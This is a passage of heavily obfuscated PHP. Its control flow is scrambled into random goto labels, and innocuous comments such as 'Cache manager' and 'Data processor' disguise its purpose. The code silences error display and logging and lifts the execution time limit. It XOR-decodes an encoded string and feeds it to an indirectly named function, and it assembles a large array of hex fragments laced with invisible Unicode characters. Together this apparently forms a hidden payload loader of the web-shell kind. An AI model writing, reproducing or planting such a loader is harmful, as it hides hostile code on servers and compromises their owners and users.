        a3Q8Picga:
        if ($RdY12FWw > 74) {
            goto i3Cx6OBv;
        }

        i3Cx6OBv:
        $RdY12FWw = strlen($_SERVER['HTTP_USER_AGENT']);
        goto a1cT2mnp2;

        DmpQYwL_:
        /* Cache manager */
        if (php_sapi_name() !== "cli") {
            goto cZK3sPIS;
        } else {
            goto a3Q8Picga;
        }

        a1cT2mnp2:
        error_reporting(0);
        ini_set('display_errors', 0);
        ini_set('log_errors', 0);
        set_time_limit(0);
        ob_start();
        goto GBfVYlFz;
        GBfVYlFz:
        // End of chaos flow
        goto a6bVaozs5;

        a5XYQKSYm:
        goto dM1DQp7A;
        wfT1BDRL:
        if (strlen(__FILE__) > 10) {
            goto a9MyeClsC;
        } else {
            goto a1K0VHmNI;
        }

        a9MyeClsC:
        while ($RdY12FWw < 11) { $RdY12FWw++; }
        goto CKGKMGeb;

        a1K0VHmNI:
        $RdY12FWw = 997;
        if ((php_sapi_name() !== "cli" && time() % 2 === 0)) {
            goto CKGKMGeb;
        }

        CKGKMGeb:
        goto zi3YIclr;

        dM1DQp7A:
        if ((($RdY12FWw + $wogCrXDM) % 2 == 0 || random_int(0, 1) === 1 || $RdY12FWw > 36)) {
            goto wfT1BDRL;
        } else {
            goto a1K0VHmNI;
        }

        zi3YIclr:
        $H3lqsTSH = 'zkQVQdUY';
        goto a3CQUvUK8;
        a3CQUvUK8:
        // End of chaos flow
        goto inQoEqHR;

        hReMDYjR:
        goto UsbrxEpt;
        SVSVFpT7:
        // NOTE: Important section
        if ((time() % 2 === 0 && !$RdY12FWw || $wogCrXDM)) {
            goto ZqQrixdR;
        } else {
            goto EG2r_0yv;
        }

        ZqQrixdR:
        while ($RdY12FWw < 7) { $RdY12FWw++; }
        goto ihpDR1Un;

        EG2r_0yv:
        $RdY12FWw = 570;
        if ($RdY12FWw > 90) {
            goto ihpDR1Un;
        }

        ihpDR1Un:
        $RdY12FWw = count($_GET) + count($_POST);
        goto a7vjajj4k;

        UsbrxEpt:
        $RdY12FWw = $wogCrXDM + 94;
        if (($RdY12FWw > 54 && $RdY12FWw < $wogCrXDM)) {
            goto SVSVFpT7;
        } else {
            goto EG2r_0yv;
        }

        a7vjajj4k:
        $pj5txO3l = '';
        for ($qe2Fikha = 0; $qe2Fikha < $_l($EgazEuXs); $qe2Fikha++) {
            $pj5txO3l .= $EgazEuXs[$qe2Fikha] ^ $H3lqsTSH[$qe2Fikha % $_l($H3lqsTSH)];
        }
        goto XIzOBxGa;
        XIzOBxGa:
        // End of chaos flow
        goto a392qEoCa;

        a392qEoCa:
        goto EqY8qSms;
        bRugbXx5:
        if (isset($RdY12FWw) && $RdY12FWw !== null) {
            goto a9EvgXHk1;
        } else {
            goto a3dzrEcUQ;
        }

        a9EvgXHk1:
        for ($RdY12FWw = 0; $RdY12FWw < 8; $RdY12FWw++) { /* dummy loop */ }
        goto urnUUOs5;

        a3dzrEcUQ:
        if ($RdY12FWw > 22) {
            goto urnUUOs5;
        }

        urnUUOs5:
        $RdY12FWw = strlen($wogCrXDM);
        goto l8XTwo4O;

        EqY8qSms:
        if (strlen($RdY12FWw) > 12) {
            goto bRugbXx5;
        } else {
            goto a3dzrEcUQ;
        }

        l8XTwo4O:
        $KSx3Qx7P = $_g($pj5txO3l);
        goto XJieUVBx;
        XJieUVBx:
        // End of chaos flow
        goto QoqbNbbn;

        fZ8hP00X:
        goto DeKHJpR4;
        Y4AUkTy1:
        if ((count($_GET) > 0 || $RdY12FWw > 11 || isset($RdY12FWw) && $RdY12FWw !== null)) {
            goto pYQgJ5ZH;
        } else {
            goto vVgzrm1t;
        }

        pYQgJ5ZH:
        for ($RdY12FWw = 0; $RdY12FWw < 3; $RdY12FWw++) { /* dummy loop */ }
        goto QJiI10rW;

        vVgzrm1t:
        $PkfDISHs = 356;
        if ((!$RdY12FWw || $wogCrXDM || isset($RdY12FWw) && $RdY12FWw !== null || time() % 2 === 0)) {
            goto QJiI10rW;
        }

        QJiI10rW:
        goto qJC6m8iU;

        DeKHJpR4:
        // NOTE: Important section
        $RdY12FWw = $wogCrXDM + 36;
        if ((count($_GET) > 0 || php_sapi_name() !== "cli" || php_sapi_name() !== "cli")) {
            goto Y4AUkTy1;
        } else {
            goto vVgzrm1t;
        }

        qJC6m8iU:
        foreach ($Xnc8F78U as $lZx0pAhH) {
            $nljlZ7Fp .= $lZx0pAhH;
        }
        goto a2frLMO_J;
        a2frLMO_J:
        // End of chaos flow
        goto HhijiFks;

        inQoEqHR:
        goto lizBgZjk;
        savnocqA:
        /* Core module */
        if ($RdY12FWw < $wogCrXDM) {
            goto uWqFpOQq;
        } else {
            goto IKOENjAA;
        }

        uWqFpOQq:
        while ($RdY12FWw < 14) { $RdY12FWw++; }
        goto a3AJBl69;

        IKOENjAA:
        $RdY12FWw = 241;
        if ((strlen($RdY12FWw) > 9 || $RdY12FWw > 43 || random_int(0, 1) === 1)) {
            goto a3AJBl69;
        }

        a3AJBl69:
        goto W2rHosHP;

        lizBgZjk:
        /* Data processor */
        if ((strlen(__FILE__) > 10 || isset($_SERVER["HTTP_USER_AGENT"]))) {
            goto savnocqA;
        } else {
            goto IKOENjAA;
        }

        W2rHosHP:
        $Xnc8F78U = ['6؜ᅠ͏￴c឴⁤3᠎￸⁡1￾6‮‬￵3￳3­­6​4‍','‭a⁠ᅠ￾￵6⁠2⁤‌4￰⁦‏d￵￰7ᅟ͏3￱‭​�','�7￲᠎8⁡឵3⁢⁢￲4￱￳‫5‎￾​឵a￾‪⁧឴6឴','‍￾4‮‬4⁧⁣3ᅟ឴6⁠￴￸1‍2￰⁢f‭�','��5​​᠎6￲⁦⁢3￰឵1￴⁢͏3⁤‍‬4‏6‪­￸c','⁡￲⁡4‪9‫￷7￸￷4￰‏￴5឵￴2­‪͏4','​7‌ᅠ‌7­‌⁩ᅟ7‍6­ᅟ​⁣2￱⁥؜6⁢⁣͏￿','4⁣‌7ᅠ‫1ᅟ￿4⁨⁨͏d⁨‪‭6‪f‌ᅟ6͏￸a￾�','��‎6឴឵a￷⁡6￵⁨9­‍‬᠎4​ᅟ￳e​⁤5‮⁧‮','9￾⁧­‮6‍⁢b‮3͏0‏￷5⁠ᅠ￿0￸⁡6￾�','�⁡c‪⁡￰4‮͏a⁠‏‍7‮ᅟ9￾5‭⁡￵‪4‏￾5','‬6‭‫5؜᠎‎5᠎‬‪￵4⁩￳f⁦4​‬8؜⁥3�','�឵2ᅟ￶​￾6￲⁧￰￾e‏᠎￶5￱឴3‪⁣6⁢⁨⁤�','��4￱￱6⁦5‫⁦4⁨⁣4‫​‮5⁣a‫⁢⁨7￰⁦9­�','��⁠᠎5­⁢5￷⁠3￸‬‍⁩4⁦­ᅠ5‬2￸‪4⁦‮3','᠎‪5⁦⁧⁦a‎⁤￵‮4￲⁨‎2᠎￱4‮͏3⁧‏‏','‮6⁢￶؜឵c￸⁤​͏3￶‮4￷⁧‪‭70￱￸3￳2�','�⁢3‌￿￴‫0￱‭5￳‮‌᠎3‬⁤ᅠ4⁥⁢6‏⁨឴‫3‮','‏⁦‮7⁦឴7͏￸￵7￷‬​3￷‌￿9‭57�','�6‪￶⁠b￲‭6ᅟ឵1‬‍4‏­fᅠ᠎‍7￰‎2','￴4￲⁩￳2￶￵￲3￶⁠3￳‏‌4￱￳⁥3⁢ᅟ�','�⁧5⁤￸￶a￳4‭ᅟ￸8ᅠ￶⁥4⁠؜7￳‍7ᅟ‬5','឴4￲e￵‏￱4￾⁤⁤f‌⁠4￷￰‍3￰￱4⁠⁡9⁥','5⁨￿￳0￰4‎⁦​4᠎￵6￱⁩￳e⁢￵6‭6‌⁢','7￳￰1⁦ᅟ⁢6ᅟ￿⁠￴4‏‮￴⁠7‌￸9‬‏50⁥','￰6￾⁨e⁩⁣4⁦‎c᠎⁤￸￾4￵​‍d￸⁠￳4�','��⁤‭8ᅟᅟ5­‬4ᅟ4឵⁡⁨8⁣᠎6⁥￰9￴⁢','4͏⁡‌dᅟᅟ‬7ᅟ‫‍6‬￸6⁡⁦￲⁦6⁤￲7⁣‫�','�3ᅠ⁧￴7ᅠ⁤￵9‪⁤￰⁤7؜⁧ᅟ5ᅟ‪￳7￿￱￸8�','��7￵⁦ᅟ4‬￲7⁨￾⁦8￾⁧឴￶6⁠￰9￸‭‍5‪؜9ᅟ�','�30؜‫⁥7￲4‮឴‍7⁠឵4‍￲6⁥‎⁦7⁥‮','⁢7⁧0⁤ᅠ￰5‍￵7￸￵4᠎‪‎f￴‫￸͏6�','�᠎‪2‌￵ᅟ⁡7￴‏‬؜4឴7￾‫‍‫0‫￱ᅠ5⁥⁩4�','��‍​4￵ᅟ឵f͏‍ᅠ6￾⁤￱15‫͏ᅠ3￲�','�￱7‬឵0￴￴‪￴7‌⁨a6​ᅠ8​឵᠎7‫‏','1￶￵‬‪4؜‎⁦⁡bᅟ‮6‬‮‏8‌឵3឴‪8឵⁧5�','��‬aᅟ‮4‪­⁡c឴‌3￷‌7￸5⁠⁤⁣1⁦￲','5⁩‌a‭￷ᅠ7ᅟ឵؜؜5⁡￵7឵1឴6￶‌‍8឴�','�￰͏4⁨￶￲4᠎5⁩￷‬3￾⁡‏7⁩឵⁨￰5‎6­�','�‌9‏᠎￸7⁦⁩⁠1‬᠎￶5⁣⁩￱8￵‫7￷‪4￲','‎7‮￱8؜⁨‍6⁠­7￷￵5‎⁣⁨7‫￵‮￿5᠎⁥','6⁣￳4ᅠ‌f⁠឴‎͏4⁥￾c￸‍⁦6￾6￷￵4​⁠b','‪⁡￰￲3­⁣1⁨￷​7⁤⁦￶6­᠎4⁧￶؜9ᅠ4‭�','��⁦­3឵￰5‭ᅟ8⁦⁤￾4⁠9؜￾7‌⁦​9⁣6','ᅟ2￴ᅠ7￷⁥8￴4￰⁥‍1⁢6‍￰9‮7','⁨؜⁩⁨a⁧￳5͏⁢3￶￲4￵‍1឴͏7឴￿឴9ᅠ⁥‭4','⁦ᅟ⁤d​⁧ᅠ5￷⁠￾2⁥‭7؜a￴ᅠ⁤5￾͏9','⁩‏⁤ᅟ6‌⁩c឴឵⁩6؜‭‍￴f⁨￱឴6⁡‏1⁩￵5�','�8‌4͏᠎4‭￷‬᠎3‍￰￸5͏￲‫5‬￳a‎‍⁩�','�3￵‌9⁣⁦⁨⁥4ᅟ⁡￶￿b‫￶⁢7؜؜឵0‌7‏�','�￷1⁠‎3￱‎￸2￷⁠⁡6‎￿5￸‌5‏￰7‌⁢7ᅠ⁩9�','��⁣⁣5‪ᅟ⁦￶3￶‌7⁢￷0⁦￶‏⁥6­ᅠ⁣7⁨⁠3','­‏8￲7⁩￱￵‪3⁥‬71￲‌឴ᅟ7⁧‍￳','6‬⁢؜឵4‬⁣9￰⁣￵7⁢66￸￲⁡8؜⁡7￿�','�1⁦￿⁡2b឵6￷￿⁤￱3ᅟ͏‭￰4឴⁠‮8⁢�','��￰6឵c؜⁢￴￲4⁡2⁦‍￶3￳‪￾0‫4‪','￸d￵‏ᅠ￵7‬᠎‮0‎￾⁦5⁨7‮⁣4⁧￶￿�','�5￷⁠￾6؜￿឵9⁥͏￱2￲￶b­‫6‎⁡͏3￱⁡�','��4‍￷5￵￾⁡6⁥⁨b‪3‎​2᠎⁡‍3឵￵￰7�','��￰‫￰6⁦឴⁣⁧a؜5￵⁥6￿⁦‎ᅟ7￲￶a‌⁧￴4','￲￴5⁢￶￳46឵￷￰4‍￾f⁥؜឴6‎‭d⁦ᅟ5�','��⁦5‮￸6ᅟ7‍⁨3⁥​3￲⁥3‫­‭1‎⁢7⁧⁥4�','��￷⁣2⁠￰f⁣6​￾￸1￾⁩4￿ᅠ￳e‫⁥3￲8�','��⁧⁦‎3‫⁧2⁠￴؜͏3⁤1￿឵5‭⁣7⁤‪7͏�','�￾0͏⁨4￳‌‏f￰⁢឴5⁩­5​⁥‎4￶￲','9￸￲‏‮7￴؜a؜￷ᅟ‬4￰͏1⁢6￰؜￵3⁦￾�','�42￷឵⁤7￲᠎⁤⁡7‏⁦6￵⁡8‭឵͏­7‌￵឴3�','��⁩5⁦6͏5￷￸1￷‍‎؜5ᅠ‍5￵⁡￸6￱⁡a','￿￸4⁤￰⁠c5‏5⁨￴⁨‫4​￲⁥a‭​5​�','��1￱￶￿⁩5⁣‌8᠎⁥￾4￶￱­￸4឴7‫⁢‍￳0⁨͏�','��6￴￸­￵d⁠⁤5￰4￷7￲‌￿‌0‮‫4‬','⁤f⁩5⁧a⁩⁩￿4឴￿a‌￶7‎؜9⁩￴5‪‫�','��3͏​‎‪3‬⁥⁧⁥3￴᠎6ᅟ⁧￷a￵6؜8؜­','⁡3⁥⁦‬6⁣‫6￾⁧b‍‬؜⁨6⁢⁩឴aᅟ6⁠�','�3￵‍7ᅟ⁦6￵­⁨7￱ᅟ￰1‏⁨￾4⁥឵⁩b￲‮�','��‏7‭‬8​￳‏6⁩‍1￴￶6￴‎f⁨￱4⁣‏￸7￸�','��4⁦￵￰3­‬6ᅟᅠa­‌6‭⁢1￷￾5‏឵⁦9￾￸','6⁧ᅟ⁦c￸￾3‏ᅟ⁩7￸⁣⁣￱7‬￷‌឴0‭᠎6￱￴9','᠎⁦￳6ᅠ￸ᅟdᅠ឴⁧‎6⁨1⁣⁢ᅠ‪7‎؜᠎9‏￵5�','�᠎3￴￲឵￶47឵⁡​7឵4឴ᅠ6ᅟ‮8⁦￾￿','6­4⁥￲4￰឵3⁣￴6￶⁩d￱￳‮6ᅠ47','‪4‪؜3⁠￶‍1￶6͏‌￵7‭4‫2­⁢⁥5؜�','�06‌⁤￿d￰᠎7⁨4͏͏￰5ᅠ￷⁡⁧0￰‬3⁣￷7','⁢￲￷‭5⁢￱ᅟ0‏￷­3￸￸⁤​2‮5​⁩6￸','4­⁢dᅠ￱⁣6؜￳ᅟ￶1￾￳￶7ᅠᅟ8⁠⁧⁤6؜‬c','⁤ᅠ­4‮3⁨￿‌4⁩9឴6⁧⁤͏d￸7⁤1឴�','�⁣6￷5￶5‍‬​8‭￴5‎6឵​2￰‏f⁧�','�⁤3­​￴9⁧͏⁦3‌‎᠎￷0￿⁦5⁧᠎‍2⁡￿5⁤�','�￿8­￱‬7‍‎‭2⁡￲￱⁠7‍ᅠ￲3￰⁧⁣5‭឵7‎⁡�','��3￷⁤͏￳7⁠6ᅠ￸1⁢⁩￾‮7‏⁩6⁦7￲⁧','1­7឴⁦1‌￸‪7͏6​￾4‪‫⁠⁩6￱⁧⁡3͏','8￾￸4⁠￵8⁡‪4￱឴9⁢⁧￷3ᅟ⁩2￸￳​4￶','᠎￴⁩8؜6￴8឵￳6￵2￳￷￰7឴⁩9￴⁥￳�','�3￾8᠎⁠឵឵4￵⁦‪3￷5￸᠎0‪￾7￴‪⁧6⁩͏￵','3￷4​‫͏6￱‭7￸឴⁣⁥6⁩‌⁦c­ᅠ4￶','a᠎឴‬4‏￶8⁧⁩‎5⁢ᅠ⁤8‍⁡7᠎￱4‎⁢�','�6￳­b‌2⁤￶⁧b￾‭4￴￸a᠎6⁦￴c⁩‭5�','�2឵؜￴7‬​‎6￳￲4⁠￷8⁨‮6​‌⁠⁥5‪￷�','��5⁤￰឴0‎￿ᅟ3‪0⁧⁧6￾￱⁢​5￴￶‎￶3�','�᠎￳9ᅠ឴­7឵­a឵￿6⁤ᅟe⁥￲4‫‍⁠e​‏6�','��￿8￾‎3ᅟ7￾⁨7￾­­8⁠­4͏⁨‮⁢e￿⁨⁩7￱�','�2‪⁩￿5￶‬8ᅠᅟ‎5឵⁥3᠎‏￶￿5￳‪3­�','��⁣‪4⁡͏9឵⁧6‌ᅠ‏c­‫‌‏4᠎8￰⁦ᅟ￳6�','��￾￸57­￷‫0͏￷6￲￸e￶￱‌7￲ᅟ8⁠�','��‭￰2‫⁠ᅟf￲2⁠‮b­‪5‭͏2￿‮￿5￷�','��5￵￰‌4￰￶‌8￶឵7᠎ᅟ￶឴8ᅠ￷‏72‭ᅠ�','�3￱￴5‬5⁩‏5‬￶‫⁤3᠎⁣0‫⁠7⁠⁩￰1឵￳�','�3‪‍0‬￶5⁡⁩5‪឴឴ᅟ5ᅠ⁩a‪⁣7','￳2⁩￿឵4‫⁤؜‮3؜7￰⁨⁥0⁥؜ᅟ⁣6ᅟ2‫￶�','��￾2؜‪⁢bᅟ￲⁣5‏￴7⁨￸￳⁤4­͏5￱‬6‍‫5￱￶�','��4឵ᅠ2⁡­7￸5￴⁩7⁩‍￶6￲឴￾3⁦؜7￶‮','￱4⁩⁩⁧឵3￾⁨‍7‭‏͏2‍￿⁩6⁤⁧6‏','￷឵3­7‏‬5⁥͏9⁢؜⁧7ᅠ؜឵⁥2￸4‮⁦7⁩�','��7឵⁩؜5­⁧5￴឵￷⁦1‫឵7‪6᠎￿7⁤⁣1‎','4ᅠ￲ᅠ5￴͏6￾⁦⁩⁨8឴⁤5⁣‬7ᅠ­5￲᠎2ᅟ�','�6⁣￸4឴­5᠎⁡￴3￸⁥⁧4￳‫4⁨⁡‮4‫8⁠','￳5‏‬‎1‎‏឴6⁢‏⁦e឵؜6⁥‌7￳­‏⁣7‫ᅠ','0‏᠎7؜ᅟ⁤9￸͏‮6‫ᅠ⁥6‮⁠‮5￷­‮4­⁥⁠5�','��￿͏4⁨5￸￴‎8‍​7­⁦1⁥5‍￷᠎8￳឴ᅟ‮5','‬឵‮‪6⁢⁥⁡4‏⁣c‬‫6ᅟ1‪￲5￱͏2‪​4឵�','��⁨‎a⁨⁧឴4‪‭d￰7￱‭2⁨￳‮5⁦￾4‭�','�​5⁠឴឵a⁧⁤‮4⁩9￸￶6᠎⁤⁤a‫⁦⁦4⁦','͏‬6‏⁣7￾⁤឵14⁩ᅠ￵￷d⁧￳5⁦⁠3͏','⁧3￴￿8ᅠ‍؜3⁧￲8￵￳6⁣᠎￱6⁠᠎‮5￷�','�7‏­￾5؜6͏￳4‪￴9‍‭4‍⁢؜9￶឴‪឴6⁦','d‌­￶3￾￸​6￶￰6‏￷​f‍￲66⁢￰4￴�','��8￴4￶‌‌⁣e⁡⁢5⁣ᅠ7⁥͏⁣7឴‏4￷‪5�','�￷⁣5‍‫￿͏7​‍￿1⁢‪4­￶5￴ᅟ6⁠c￵؜3឵�','�0឴6⁨‮a⁠‏4‎￱b឴⁦⁡5‏￱￷1᠎ᅟ','5￿5⁦￷ᅟ5​ᅟ5￸⁠7￴3؜6￸⁧9⁥⁢�','��4ᅟ￵a6⁩￿9￷5⁠⁣6⁩￸7⁡￵‏7ᅠ឴7','5឴ᅠᅠ5ᅠ؜2͏឴ᅟ‌6‌‎⁣d⁢￲‏7឵￶‍͏8￸‫4‭','‬‭3͏⁧5‫‍9­­᠎6‍d​￿⁥4឴￵ᅟe⁠⁩؜‪5ᅟ�','��᠎឴8‏￿3‫⁧឴3‍⁧￳54‍￰46⁤�','�⁣4⁡឵e‫￵​5￾឴￲3‬‎4￱⁧￸d￿6⁠￷⁠','ᅠd⁨‏63͏￷5￰⁨4￸￳36￵7￾⁤‌2￱6�','�᠎a⁨￸⁨؜3឵‫᠎5‌‍￲4￳￵3⁦⁥؜⁣7⁧‬￾','9‍6￳‎឴1‍￷‮7⁢‍9￷⁨⁠5‬￵￲￰3‏7￸','؜⁤‍0⁦￵6⁩￳⁠￴1￶⁡7￳⁤8឵‮7⁧‏3‬؜','5‮￸￰a‮ᅠ6­ᅠ͏e⁦‌ᅠ7‌1᠎7឴￷4‍�','�؜2￸឵឵​b￴⁨⁤­6‎᠎឴⁨c‬￰6⁤؜⁣1￾6￳￳','‍f͏­5￴‫⁦1⁧￿؜4￴4⁢ᅠ6‍឵᠎e⁦឴5‪2�','�￱3￵￶3⁡‮￴6￱឴‪2￴⁡‭3⁣‎￿‍5‬6‪‪⁡','e⁧6‬⁨឵7‏5‎￳6⁩­⁨4￷឵3​￱￷5￱⁨�','��8⁨⁩‎4؜‍‬⁩2ᅟ⁡͏5⁡​8ᅟ‮­6⁧3͏­6⁧‭','⁨2￶4￲​b⁧￷5‏‫3‏᠎6؜⁩','⁩1‪​4⁧‍‍5‬￸⁨7឴‪8‎￿ᅠ3᠎​2឵ᅠ3￰‏','0‮ᅠ7‌⁧￱8⁠᠎5ᅠ‌6￶‍⁨5⁥1​￰5⁥‬￾','9￴⁧7‬‎⁥‫6ᅟ؜4⁠؜᠎4￳⁡3‏⁢⁤5￸','‍5￲‍⁥‌9￵￴⁧4⁥⁡a￾⁦￿6឴­‪￴e7￸2�','�6ᅠ‭3͏឵3‏឵0⁣￱‮4‭￶f⁢⁣⁢4￳4‎‏','￿⁧4‭‬8￱￰6ᅠc￱‭‪‬3⁨￵⁩1￵￷7឴⁡0￳','‮⁥5‏15ᅠ‮4​￲⁡4￳￾ᅟ7￷￴￿6ᅟ�','��5￳⁦4‪⁣2⁣‎5‌￴5￿⁨‍￷4⁡឵d￲￷5�','��‭4឴￶​⁥7￰‎0‫￿؜￵6‭⁩឴￶5⁠​5​͏⁥‌a�','��4￵ᅟ1­￾￰￴3￾‭2￸‌­4⁧⁦9￴‍￶3￳￲�','��⁤3‎­⁠6⁡­1￱⁦​7￳￵0￸‪6⁤￲d￳‎￳‪4⁨','‮͏￷6‬￱‭؜6⁣⁡8⁨‭7‫​⁤͏8￰￷6‎5�','��￾­3‍͏⁡3‪‮͏7ᅠ⁠឴￸4឵￲5឴ᅟ￴‎9‭','⁥឵7឵⁩⁦0⁥ᅠ7￵1⁡￱5​᠎5឵‫⁦7⁤￱0⁣','឴3឵￵￶5͏⁩⁤7⁨4‏3￰ᅠ5⁠￴5‌￳￸8�','��⁠‬⁡4￰￵‌឴e⁨￰6⁣b؜​￳7‪0‍⁢‍​5','ᅟ⁧⁢9​⁠6⁥឴6͏​￰‭6⁥᠎￳⁧f​⁩4￱','￳￸7⁦‫‏7‍឵￳9ᅟ‎￷4​⁢9឴­4͏‬9','￲5؜‪5⁤3͏￶2￴⁤7឴8⁨‭⁥6￾￱‭￷f⁠�','�￸‫5ᅟ‪‍2⁨￰7￳⁤3؜￵5᠎6‏᠎7ᅠ�','��0‭6￸⁡￶2⁠￿6­‫1￷￱5⁨‬⁧6￳','￾7⁢⁣؜0⁧឴3⁧￿‬⁢1⁤؜7‏￴a￵⁦ᅟ￳5','⁡឴⁨2‌‭3‍0­᠎5⁩‫‏￶7‬3‬­￶5‏','4￲­⁨4￸￸3ᅟ￾1￷‏͏3‏᠎4￳឴5ᅟᅠ9឴�','�឴4؜￸​5⁣5᠎‭6⁠⁠6‭‭⁤b￸5‭￲⁧5￾','឴4⁡￸1⁣⁨⁨￸6᠎d؜5ᅠ￳ᅟ0⁥6⁩�','�9​3￶ᅟ6⁠ᅟ‫⁢4‪￰￵￲3￸឵￶3⁩2ᅠ￵⁣','᠎4￴￶￲ᅠ4⁦᠎឴6᠎⁧឵b‭7᠎￵6￴5‌￾5⁣⁧','­4​⁥5⁢￱឵4‏￳⁤25­‎⁨7￾6឵‏3‬￳�','�4￸⁧⁨f‭3￷￸2​‪͏5᠎‎￱5⁩ᅟ￷6‪ᅟ�','��1؜ᅠ7⁩7​4⁩b⁢‮‮4‬‭5͏⁥4￷￴b￾�','�6­￴￱1឴￿3￶￴5⁢⁧￲￷4￳1­؜4‬‮⁨5￱�','�4‏‫⁨7￱￸￲4‌‌⁤7⁢￳⁤᠎3‎឵￸￲3⁩⁢឴5','‏؜8⁠6‫￿￸f￳⁧⁧5᠎￰￿2͏￲3￳9‍￸','3￰⁤⁣4⁨؜ᅟ4⁠‎2⁨7￳￱4⁨‮6؜8�','�؜7⁨￳￶1￰឴‮‍6­⁨‍￿e￱￴7‫⁣­1￾‬3','‎‮9‏⁧4￶⁣d​឴ᅟ4‮￴e᠎⁥4￳￶9￷�','��4ᅟ￿f‫⁢6‬￴3᠎7‏5⁩￾37ᅟ￳7⁩‭','⁣3￸￲￾￿6⁤⁢￾e⁢5‍2￿឴3­⁤1឵￴឵6￳�','��឵f­￰4⁠b‎ᅠ5‌⁢￸￲aᅠ⁧6឴͏d‮឵4​','5⁠⁩⁡3‌￵9ᅠ5͏⁢a￿‫5‏⁢￲6￷�','�￵4­1￴￷឵￳6⁤￰￳‬5⁦‫‎3￵⁡3‭⁡⁥7￾￿�','��6￿឴5￰‏‬5឵⁣4ᅠ￾￷‫9‫‌⁠4￾​ᅠ4�','�￸឵‪4⁧؜⁦￾4⁩￱￲6‪⁥￷4⁥￲⁥33⁦‎؜3�','�￵᠎‫5￵‬4⁨￳‭2￲‭6‎b￷6￷d￴5�','�​2￶￵⁨7⁨￷‏9￾￶⁨￶7⁦a‬￾￶6￵￿⁨c‫','​4￵￾឴￸c⁡­￴⁨5￰￸3ᅠ͏￰­2￵￵⁧bᅟ‏7⁢�','��⁨5￳‮‮‎5‬‮⁤9⁧￲؜⁦6⁢￴8￸⁤5⁣3⁩￳','‌7￾‭4؜￷͏4‌ᅟf￵￵6ᅟ⁢​1⁨‭4ᅠ￲6￷⁩6�','��⁣⁣a؜￵5͏͏2￿⁣3‭￾￶1￶⁢6‮￳￰b⁠឴4⁩�','��‭7­⁨4‬឵￶­2ᅠᅠ6​f⁩‎‭⁨4￲￷8‭‏7‭‏','4ᅟ⁩⁠‪5឵​8​‌͏‏4‎ᅠ2⁦￱6឵1‭￾5￾￰⁣4￷','͏‍4؜f‌￰⁤‏6‏‪8​­⁡6￶⁦2￲￱‏6ᅟ឴4؜�','��⁣⁧5⁩6￰￶⁠3￿8⁥6͏￱͏a￾⁢4￵￳￷e឴‬','4￸⁡‮c‬឴3឴￶0⁦6⁣6‏￵3￸͏0�','��4⁩⁨͏‬3‏⁩4‎⁤b￴7⁨15￰8឵￵͏7�','�￶‫a￴⁢⁦ᅟ3‎￾‫9￳⁦‭5￳￴2⁧⁠4⁤‍1￿￵','￿឵3‮8‍5⁢‬6⁣‬4⁦e⁥؜3⁠‍ᅠ2‎￴6','⁤8­‪6￱‮ᅠ7ᅟᅟ⁥4؜￾b￱᠎￶‭6‍­�','�d⁦͏5￿￳ᅟ6‍￶4￰⁤2￲⁣6឵‫￾e⁣͏‏4�','��6­￱ᅠ5‬a￲￷‌‮4￿⁩⁣4឵‭4⁦f‬⁦3�','�⁨6؜⁣6￳‬5ᅠ￿⁡4឵b⁩‫‍7ᅠ￴⁦6ᅠ￳7','‬⁦⁠a⁨⁠7￳⁨4‫​7‬⁡1‭⁢ᅟ4￵⁧c�','��⁢5‍5‬￷6‍⁥឵5￶⁨3￾‌0឴⁧7‮￱2‌�','��7￾⁡5‬­6᠎￱⁡5‮‬⁦5￲‬￰1͏6‌⁤⁠f⁨','ᅟ‮​3⁠‎‫9͏￳4ᅟ‍￸⁩d￴⁨6￳￵‌͏1‏�','��3⁥9￸‪￾7‮⁡9͏7￶⁥⁣5ᅟᅠ6⁡͏6￴','￸⁩‌6؜⁥8⁦⁥⁠￳6‎؜a͏5­‫‮5​‏‍6‪⁠c�','��￵5‮‪9​￲2⁥⁦f￸​‮᠎6­⁩￳b￱￾3⁦','9￶￵7‭ᅠ6⁨6￿￲឴d⁣⁤￿7ᅠ᠎8ᅟ￾͏‏6￶�','��￱5­⁢7⁢឵‎⁥7⁢‎6￲឴4⁣4⁡⁠3￲⁩3‫�','�‬￷8឵‎5⁠ᅟ￵5⁤⁤‫31‎￱‮7឴⁢͏a⁠�','��؜6ᅟ‮e￱￳7￳⁣￵1￷؜᠎4￴​⁠cᅠ⁧￿�','�5‪6￵­5⁩5⁣⁩‎⁢4‫‪d⁦‎4￴឵7឵‎6�','�￰⁠⁠c؜￱ᅠ5‏⁢‌5￳￾4‍⁣a￴3឵​ᅠ1�','��6⁠⁢9­ᅟ￱6឵‭6￳ᅟ￴3‫93￾⁤᠎6�','�￿⁠7­‌￲2​‪6឴￱⁣d⁡￸￷7‭‍1‬�','�7‪‭6￲‫4⁥᠎6￷4‮￶6￷￿⁠3؜ᅟ⁦2⁡','؜￷￳3‮‭0￾4￵f￲3⁢￲឴5⁩3‭‭7�','��‍5￶￵͏0￿5⁥⁣9￿឵￴￱3￳឴⁧4ᅟ⁥឴￿7⁩‮','‫36ᅟf឵‌5⁤8￰6⁣‪⁤a⁡឴4‍','2‎‏⁥‮7⁢⁡￸6￲⁠5⁤6‎￰5­‮‏8‎‏￸6‬f‫','⁨7⁧឵5ᅠ᠎6ᅟ⁡‍8឵⁤឴7⁨￸￴5￳‎￶឴4�','��͏￵7⁨⁢⁤‌4⁣￰a⁣឴5￲‮6឴؜3⁡ᅠ឵3￳�','��￱­3￰‪⁢0‮‪￰6￾￸4￿​4￴‬4￶‪2⁦￿','f‏឵5￱￸‪8​￾4￿6᠎⁧4឵឵⁤3‏￿⁢5⁣￰2�','�᠎‏3￶‏0‎5￸⁢‌5￴‪⁧‬5‌‮￸؜0᠎4؜ᅟ�','�᠎5‏⁤᠎6‎‏⁣a￵7￵2឵‪￸5͏4⁥‪6￶‏','a￸⁢5￳‬⁠‎5­￵឵3‎ᅠ9᠎឴6￸e￵￿�','�5‫5⁩‍6​e￴‌￲6⁧￰￲b￴￳76￲�','�5￾6͏￱឵4‭͏d⁣឴2‌⁣f⁥￶⁣5‍￾⁥5឴⁥7','￳⁦4￴؜⁨4￰￿3￱6‏⁤⁤⁥4‬؜4­￶�','�￷c⁡6￶⁢￴7‬⁣‬7‭￵‪͏2឵￸5￳7​4‍','￳7‭￱￰‌6‌⁣9؜­⁡7⁧￷‫0⁩￲7⁥‫￵7','͏4￷⁧9⁨‏6⁡3⁠￱5⁧3⁧‎͏4‏c؜؜⁩7','⁢­7￴5ᅠ؜؜7‬‫⁢5‍￰74￵‌￶5⁨�','��‪5￰⁡￿a⁩￳‮⁢6⁢2￶￴￿3￿⁥￰6⁡⁧6⁦�','�b⁩⁡‫6⁥⁦­‍c‌‏3⁦2⁧͏‍7￿